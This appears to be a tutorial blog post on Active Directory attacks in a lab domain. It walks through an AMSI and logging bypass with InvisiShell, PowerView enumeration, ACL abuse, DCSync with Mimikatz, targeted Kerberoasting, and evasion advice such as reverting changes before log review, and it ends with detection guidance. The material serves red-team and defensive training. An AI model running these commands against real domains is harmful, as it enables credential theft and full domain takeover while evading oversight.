1. Environment Setup — InvisiShell & PowerView
Running standard PowerShell during an engagement triggers Script Block Logging and AMSI — both of which will flag your tools immediately. The first thing you do before any enumeration is load InvisiShell, which patches ETW (Event Tracing for Windows) and bypasses PowerShell logging at the CLR level without requiring admin rights.
Starting a Stealthy PowerShell Session
- Navigate to your tools directory and launch InvisiShell as a non-admin user:
C:\Users\masaaki> cd C:\AD\Tools C:\AD\Tools> .\InvisiShell\RunWithRegistryNonAdmin.bat - A new PowerShell window opens. Load PowerView into memory (dot-sourcing — no file on disk after load):
PS C:\AD\Tools> . .\PowerView.ps1 - Verify the session is active and the domain is reachable:
PS C:\AD\Tools> Get-Domain # Should return the current domain object for masaaki-corp.local
Get-ADUser / Get-ADComputer cmdlets are also available if RSAT is present — both approaches are shown where relevant.
2. Domain Enumeration — Users, Computers & Admins
The goal of this phase is to build a complete picture of the domain: who the users are, what machines exist, and — most importantly — who holds elevated privileges. This data feeds every subsequent attack decision.
Get-DomainUser returns every user object in the domain with all their attributes. Raw output is verbose, so pipe into select to extract what matters.
# All users — full attribute dump
PS C:\AD\Tools> Get-DomainUser
# Concise view — name, SAM account, description
PS C:\AD\Tools> Get-DomainUser | select samaccountname, description, memberof
# Find users with passwords that never expire (common on service accounts)
PS C:\AD\Tools> Get-DomainUser -UACFilter DONT_EXPIRE_PASSWORD | select samaccountname
# Find users with a password set more than 90 days ago (stale credentials)
PS C:\AD\Tools> Get-DomainUser | Where-Object { $_.pwdlastset -lt (Get-Date).AddDays(-90) } | select samaccountname, pwdlastset
# Find admin-named accounts (quick win filter)
PS C:\AD\Tools> Get-DomainUser | Where-Object { $_.samaccountname -match "admin" } | select samaccountname
DONT_REQ_PREAUTH set (AS-REP roasting candidates), and service accounts with SPNs set (Kerberoasting targets — covered in Blog 3).
Knowing every machine in the domain helps you identify high-value targets (DCs, SQL servers, file servers) and understand the network layout before you start moving laterally.
# List all computers — DNS hostnames only
PS C:\AD\Tools> Get-DomainComputer | select -ExpandProperty dnshostname
# Example output:
masaaki-dc.masaaki-corp.local
masaaki-mssql.masaaki-corp.local
masaaki-srv01.masaaki-corp.local
masaaki-web01.masaaki-corp.local
# Full object — OS, last logon, IP
PS C:\AD\Tools> Get-DomainComputer | select name, operatingsystem, lastlogondate
# Find servers running Windows Server (higher value targets)
PS C:\AD\Tools> Get-DomainComputer | Where-Object { $_.operatingsystem -match "Server" } | select name, operatingsystem
# Using native AD module (if RSAT available)
PS C:\AD\Tools> Get-ADComputer -Filter * -Properties * | select Name, DNSHostName, OperatingSystem
Domain Admins have full control over every machine in the domain. Enterprise Admins have full control over every domain in the forest. These are your primary targets.
# List Domain Admins group details
PS C:\AD\Tools> Get-DomainGroup -Identity "Domain Admins"
# List members of Domain Admins (with full info)
PS C:\AD\Tools> Get-DomainGroupMember -Identity "Domain Admins" | select MemberName, MemberObjectClass
# Enterprise Admins only exists in the ROOT domain of the forest.
# Querying from a child domain requires specifying the parent domain explicitly.
PS C:\AD\Tools> Get-DomainGroupMember -Identity "Enterprise Admins" -Domain corp.local
# Example output:
MemberName : Administrator
MemberDistinguishedName : CN=Administrator,CN=Users,DC=corp,DC=local
# Find all groups a user belongs to (useful once you have low-priv access)
PS C:\AD\Tools> Get-DomainGroup -UserName masaaki | select name
# Find groups with "admin" in the name across the domain
PS C:\AD\Tools> Get-DomainGroup | Where-Object { $_.name -match "admin" } | select name
-Recurse flag resolves nested membership. Always check recursively — nested groups are a frequent blind spot for defenders and a reliable escalation path.
# Recursive group membership — finds nested admins
PS C:\AD\Tools> Get-DomainGroupMember -Identity "Domain Admins" -Recurse | select MemberName
3. OU & GPO Enumeration
Organizational Units (OUs) are containers that group computers and users for administrative purposes. Group Policy Objects (GPOs) define security settings, scripts, and configurations applied to those containers. For attackers, GPOs are interesting for two reasons: they reveal the security posture of specific machine groups, and a writeable GPO is an instant domain-wide code execution primitive.
# Full OU listing
PS C:\AD\Tools> Get-DomainOU
# Just the names — quick overview of the OU structure
PS C:\AD\Tools> Get-DomainOU | select -ExpandProperty name
# Example output:
Domain Controllers
Servers
Workstations
ServiceAccounts
TargetMachines
You found an interesting OU (e.g. TargetMachines). Get its distinguished name first, then use it as a search base.
# Get the distinguished name of the TargetMachines OU
PS C:\AD\Tools> (Get-DomainOU -Identity TargetMachines).distinguishedname
OU=TargetMachines,DC=masaaki-corp,DC=local
# Use the DN as a search base to list all computers in that OU
PS C:\AD\Tools> (Get-DomainOU -Identity TargetMachines).distinguishedname | %{Get-DomainComputer -SearchBase $_} | select name
# Or combine in one line
PS C:\AD\Tools> Get-DomainComputer -SearchBase "OU=TargetMachines,DC=masaaki-corp,DC=local" | select name
GPOs are linked to OUs via the gplink attribute. The link contains an LDAP path with the GPO's GUID, which you can resolve to the actual GPO name and settings.
# List all GPOs in the domain
PS C:\AD\Tools> Get-DomainGPO | select displayname, gpcfilesyspath
# Find the GPO linked to the TargetMachines OU
# Step 1: Extract the gplink attribute
PS C:\AD\Tools> (Get-DomainOU -Identity TargetMachines).gplink
[LDAP://cn={A4B2C819-3F72-49D3-B90C-1234567890AB},cn=policies,cn=system,DC=masaaki-corp,DC=local;0]
# Step 2: Use the GUID to get the GPO details
PS C:\AD\Tools> Get-DomainGPO -Identity '{A4B2C819-3F72-49D3-B90C-1234567890AB}'
# One-liner: resolve GPO from OU gplink automatically
PS C:\AD\Tools> Get-DomainGPO -Identity (Get-DomainOU -Identity TargetMachines).gplink.substring(11,(Get-DomainOU -Identity TargetMachines).gplink.length-72)
# Check who can modify GPOs — look for non-admin write permissions
PS C:\AD\Tools> Get-DomainGPO | %{ Get-DomainObjectAcl -Identity $_.cn -ResolveGUIDs } | Where-Object { $_.ActiveDirectoryRights -match "Write" -and $_.SecurityIdentifier -notmatch "S-1-5-32-544" }
4. ACL Enumeration — Who Has Rights Over What
Access Control Lists are the most powerful and most overlooked attack surface in Active Directory. An ACL defines what a principal (user, group, computer) is allowed to do to an AD object. Misconfigurations here give attackers a silent path to Domain Admin without ever touching a vulnerability — just abusing permissions that were deliberately (but carelessly) granted.
Understanding ACL Structure
Every AD object has a DACL (Discretionary ACL) made up of ACEs (Access Control Entries). Each ACE says: "SecurityPrincipal X has right Y over this object." PowerView's Get-DomainObjectAcl reads these entries.
ObjectDN— the AD object being protectedSecurityIdentifier— the SID of who holds the right (resolve withConvertFrom-SID)ActiveDirectoryRights— what right is granted (GenericAll, WriteDACL, etc.)ObjectAceType— more granular right (e.g. User-Force-Change-Password)
# Enumerate all ACEs on the Domain Admins group
PS C:\AD\Tools> Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs -Verbose
# Example output (one ACE):
ObjectDN : CN=Domain Admins,CN=Users,DC=masaaki-corp,DC=local
ActiveDirectoryRights : GenericWrite
ObjectAceType : Member
SecurityIdentifier : S-1-5-21-719815819-3726368948-3917688648-1105
# Resolve the SID to a human-readable name
PS C:\AD\Tools> ConvertFrom-SID S-1-5-21-719815819-3726368948-3917688648-1105
masaaki-corp\stephane
# That means: stephane has GenericWrite on Domain Admins → can add himself as a member
The most useful enumeration query: find every AD object where a compromised user has a non-standard right. This is what reveals your privilege escalation path.
# Find all interesting ACLs for the current user "masaaki"
PS C:\AD\Tools> Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "masaaki"}
# Find interesting ACLs for an entire group (e.g. TargetUsers)
PS C:\AD\Tools> Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "TargetUsers"}
# Filter to only write-class rights (the actionable ones)
PS C:\AD\Tools> Find-InterestingDomainAcl -ResolveGUIDs | ?{
$_.IdentityReferenceName -match "masaaki" -and
$_.ActiveDirectoryRights -match "Write|GenericAll|Force"
}
Abusable ACE Rights — Reference Table
Full control over the object. On a user: reset password, add SPNs, modify any attribute. On a group: add any member. On a computer: RBCD attack.
Modify the object's own ACL. Attacker grants themselves GenericAll or DCSync rights (DS-Replication-Get-Changes) on the domain object.
Write any non-protected attribute. On a user: set an SPN for targeted Kerberoasting. On a computer: write msDS-AllowedToActOnBehalfOfOtherIdentity for RBCD.
Reset the target account's password without knowing the current one. Immediate account takeover — but noisy since the user's password changes.
Take ownership of the object. Owner can always modify the DACL, so this is effectively WriteDACL once ownership is transferred to yourself.
Add yourself to the target group. Common on distribution groups that were misconfigured to allow self-management.
5. Forest & Domain Trust Enumeration
Most enterprise environments have multiple domains — a forest root and one or more child domains. Trusts between them define whether authentication can flow across domain boundaries. Misconfigurations in trust relationships are a primary path to full forest compromise.
Trust Types — What Each Means for an Attacker
Automatically created when a child domain is added. Two-way transitive. If you own a child domain, you can escalate to the parent via SID history injection (covered in Blog 5).
Between two separate forests. Can be one-way or two-way. Non-transitive by default. Allows cross-forest authentication if set up.
One-way trust to a specific domain in another forest. SID filtering is enabled by default — limits SID history abuse but still allows credential reuse.
Manually created between two domains in the same forest to speed up authentication. Same escalation potential as parent-child trusts.
# List all domains in the current forest
PS C:\AD\Tools> Get-ForestDomain -Verbose
# Example output:
Name : masaaki-corp.local
Name : corp.local
# Map all trusts of the current domain (masaaki-corp.local)
PS C:\AD\Tools> Get-DomainTrust
# Example output:
SourceName : masaaki-corp.local
TargetName : corp.local
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection : Bidirectional
# List ALL trusts across all domains in the forest
PS C:\AD\Tools> Get-ForestDomain | %{Get-DomainTrust -Domain $_.Name}
External trusts have FILTER_SIDS in their TrustAttributes. This means SID filtering is active — SIDs from the trusted domain that belong to privileged groups are stripped from authentication tokens. However, credential reuse and lateral movement are still possible.
# Find external trusts in the entire forest
PS C:\AD\Tools> Get-ForestDomain | %{Get-DomainTrust -Domain $_.Name} | ?{$_.TrustAttributes -eq "FILTER_SIDS"}
# Find external trusts of only the current domain
PS C:\AD\Tools> Get-DomainTrust | ?{$_.TrustAttributes -eq "FILTER_SIDS"}
If a bidirectional trust exists with an external forest (e.g. partner.local), you can enumerate its trust structure from your current position. One-way trust from them to you also allows this.
# Map trusts inside the partner.local forest from our current position
PS C:\AD\Tools> Get-ForestDomain -Forest partner.local | %{Get-DomainTrust -Domain $_.Name}
# Full picture: enumerate every forest reachable from masaaki-corp.local
PS C:\AD\Tools> Get-ForestTrust | select TopLevelNames, TrustDirection, TrustType
6. ACL Abuse — Turning Permissions Into Access
Enumeration found your edge. Now you exploit it. ACL abuse attacks are among the most dangerous in AD because they are completely legitimate AD operations — you're using permissions that exist, not exploiting a CVE. Many EDR solutions and SIEMs miss them entirely.
Scenario: Your compromised user masaaki has GenericAll on user stephane. You can reset stephane's password and authenticate as them.
# Confirm the ACE — masaaki has GenericAll on stephane
PS C:\AD\Tools> Get-DomainObjectAcl -Identity stephane -ResolveGUIDs | ?{$_.ActiveDirectoryRights -match "GenericAll" -and $_.IdentityReferenceName -match "masaaki"}
# Reset stephane's password (no knowledge of current password needed)
PS C:\AD\Tools> $SecPass = ConvertTo-SecureString 'NewP@ssword123!' -AsPlainText -Force
PS C:\AD\Tools> Set-DomainUserPassword -Identity stephane -AccountPassword $SecPass -Verbose
# Alternatively — add masaaki to Domain Admins if GenericAll is on a group
PS C:\AD\Tools> Add-DomainGroupMember -Identity "Domain Admins" -Members masaaki -Verbose
# Verify membership was added
PS C:\AD\Tools> Get-DomainGroupMember -Identity "Domain Admins" | select MemberName
Scenario: masaaki has WriteDACL on the domain object (DC=masaaki-corp,DC=local). By modifying the domain's DACL, you can grant yourself DCSync rights — the ability to replicate all password hashes from the DC as if you were a domain controller. This is a silent path to all credentials in the domain.
DCSync requires two rights on the domain object:
DS-Replication-Get-Changes(GUID:1131f6aa-...)DS-Replication-Get-Changes-All(GUID:1131f6ad-...)
# Add DCSync rights to masaaki using WriteDACL on the domain object
PS C:\AD\Tools> Add-DomainObjectAcl -TargetIdentity "DC=masaaki-corp,DC=local" `
-PrincipalIdentity masaaki `
-Rights DCSync `
-Verbose
# Verify the rights were added
PS C:\AD\Tools> Get-DomainObjectAcl -Identity "DC=masaaki-corp,DC=local" -ResolveGUIDs | ?{$_.IdentityReferenceName -match "masaaki"}
# Now run DCSync with Mimikatz (from a new shell / after re-auth)
PS C:\AD\Tools> .\Mimikatz.exe "lsadump::dcsync /user:masaaki-corp\krbtgt" exit
krbtgt account. With that hash you can forge Golden Tickets that grant access to any service in the domain with any privilege level, indefinitely (covered in Blog 5).
Scenario: masaaki has User-Force-Change-Password extended right on masaaki_svc. This is a service account that likely has privileged access to a server. You reset the password, authenticate as the service account, and move laterally.
# Confirm the ForceChangePassword ACE
PS C:\AD\Tools> Get-DomainObjectAcl -Identity masaaki_svc -ResolveGUIDs | ?{$_.ObjectAceType -match "User-Force-Change-Password"}
# Reset the password of masaaki_svc
PS C:\AD\Tools> $NewPass = ConvertTo-SecureString 'Compromised@2026!' -AsPlainText -Force
PS C:\AD\Tools> Set-DomainUserPassword -Identity masaaki_svc -AccountPassword $NewPass -Verbose
# Authenticate as masaaki_svc using the new password
PS C:\AD\Tools> $Cred = New-Object System.Management.Automation.PSCredential("masaaki-corp\masaaki_svc", $NewPass)
PS C:\AD\Tools> Enter-PSSession -ComputerName masaaki-srv01 -Credential $Cred
Scenario: masaaki has GenericWrite on stephane. GenericWrite lets you modify any non-protected attribute — specifically, you can set a fake SPN on the account. Once an SPN exists, you can request a TGS ticket for it, which is encrypted with the account's password hash. You then crack the hash offline.
This is called Targeted Kerberoasting — you don't need a service account with an existing SPN, you create one.
# Step 1: Set a fake SPN on stephane's account
PS C:\AD\Tools> Set-DomainObject -Identity stephane -Set @{serviceprincipalname='fake/masaakisrv'} -Verbose
# Verify the SPN was set
PS C:\AD\Tools> Get-DomainUser stephane | select serviceprincipalname
serviceprincipalname : fake/masaakisrv
# Step 2: Request a TGS for the fake SPN (now stephane is "Kerberoastable")
PS C:\AD\Tools> Get-DomainSPNTicket -SPN "fake/masaakisrv" | fl
# The hash output will look like: $krb5tgs$23$*stephane$...
# Step 3: Crack offline with hashcat
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt --force
# Step 4: Clean up — remove the fake SPN after cracking
PS C:\AD\Tools> Set-DomainObject -Identity stephane -Clear serviceprincipalname -Verbose
Scenario: masaaki has WriteOwner on the Domain Admins group. By taking ownership of the object, you become its owner — and owners can always modify the DACL regardless of existing ACEs. You then grant yourself GenericAll and add yourself to the group.
# Step 1: Set masaaki as the owner of Domain Admins
PS C:\AD\Tools> Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity masaaki -Verbose
# Step 2: Grant masaaki GenericAll on the group (now we control the DACL)
PS C:\AD\Tools> Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity masaaki -Rights All -Verbose
# Step 3: Add masaaki to Domain Admins
PS C:\AD\Tools> Add-DomainGroupMember -Identity "Domain Admins" -Members masaaki -Verbose
# Confirm
PS C:\AD\Tools> Get-DomainGroupMember -Identity "Domain Admins" | select MemberName
7. BloodHound — Visualising Attack Paths
BloodHound ingests AD data (collected by SharpHound) and renders it as a graph where nodes are users, groups, computers and GPOs — and edges are the relationships between them, including ACL rights. It makes attack paths that would take hours to trace manually visible in seconds.
Collecting Data with SharpHound
# Run SharpHound — all collection methods
PS C:\AD\Tools> . .\SharpHound.ps1
PS C:\AD\Tools> Invoke-BloodHound -CollectionMethod All -Verbose
# Output: a ZIP file containing JSON graph data
# Transfer the ZIP to your attack machine and import into BloodHound
# Stealthier collection — avoid DCSync-triggering methods
PS C:\AD\Tools> Invoke-BloodHound -CollectionMethod DCOnly -Stealth -Verbose
Key BloodHound Queries for Attackers
The most used query. Shows the shortest chain of edges from your current user to Domain Admins. Often reveals ACL misconfigs and group membership chains.
All possible paths to Domain Admin, not just the shortest. Useful when the shortest path is blocked.
Mark compromised accounts as "owned", then run this to see which paths become available from your current position.
Lists all users with SPNs set. Cross-reference with high-privilege accounts — a DA with an SPN and a weak password is an instant win.
Lists accounts with DONT_REQ_PREAUTH set. No credentials needed to request their TGT — just send an AS-REQ and crack offline.
Filter the graph by these edge types to instantly find all dangerous ACL misconfigurations pointing toward privileged objects.
MATCH p=(u:User)-[:WriteDacl]->(d:Domain)
RETURN p
BloodHound's built-in queries cover most scenarios but raw Cypher gives you full flexibility.
8. OPSEC Considerations
AD enumeration generates LDAP queries that are logged. Too many queries in a short window trigger alerts in modern SIEMs. Here's how to stay under the radar.
Disables PowerShell Script Block Logging and Module Logging before any tool is loaded. Run it before anything else.
-Verbose in Production
Verbose mode generates more LDAP queries and console output. Use it for learning, remove it on live engagements.
Use -Throttle and -Jitter flags with SharpHound on mature environments. Mass LDAP queries in seconds are a detection signature.
Find-InterestingDomainAcl on Large Domains
This function enumerates ACLs on every object in the domain — extremely noisy. Use targeted queries on specific objects once you have a candidate.
DCSync right additions, ownership changes and SPN modifications all generate 4662/5136 events. Revert changes immediately after use and before log review windows.
Pre-stage tools before the engagement. Downloading PowerView or SharpHound during the operation triggers network-based detections and endpoint AV.
9. Prevention & Detection
Audit Directory Service Access (event 4662) and Directory Service Changes (event 5136) on DCs. These catch ACL reads and modifications on sensitive objects.
Tier 0 (DCs), Tier 1 (Servers), Tier 2 (Workstations). Admins at each tier only log in to machines at the same tier. Stops credential theft paths cold.
Run regular BloodHound collections and audit the results. If you find a path to DA that your own red team didn't use — fix it before someone else finds it.
Audit GenericAll, WriteDACL, WriteOwner and ForceChangePassword rights on all privileged groups and the domain object quarterly. Tools like PingCastle and Adalanche automate this.
Enable LDAP Interface Events logging. Alert on large-volume LDAP queries from non-DC sources — this catches PowerView and SharpHound collection runs.
Rotate the krbtgt password twice (required to invalidate existing tickets) every 180 days or after any suspected compromise. Monitor for DCSync events (event 4662 with replication rights).